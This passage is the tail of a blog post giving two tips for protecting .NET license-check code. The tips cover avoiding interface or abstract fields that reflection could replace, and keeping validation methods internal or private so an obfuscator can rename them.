<li>Don't use <i>Interface </i>or <i>Abstract </i>class as field or property in the license check code, that will prevents others to replace your objects via reflection</li>
<li>Insert the validation code in the same assembly where it is used, and declare the methods <i>internal</i> or <i>private</i>. This allow the obfuscator to properly obfuscate the code and the routine names, this isn't possible if the method is public</li>
</ul>
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0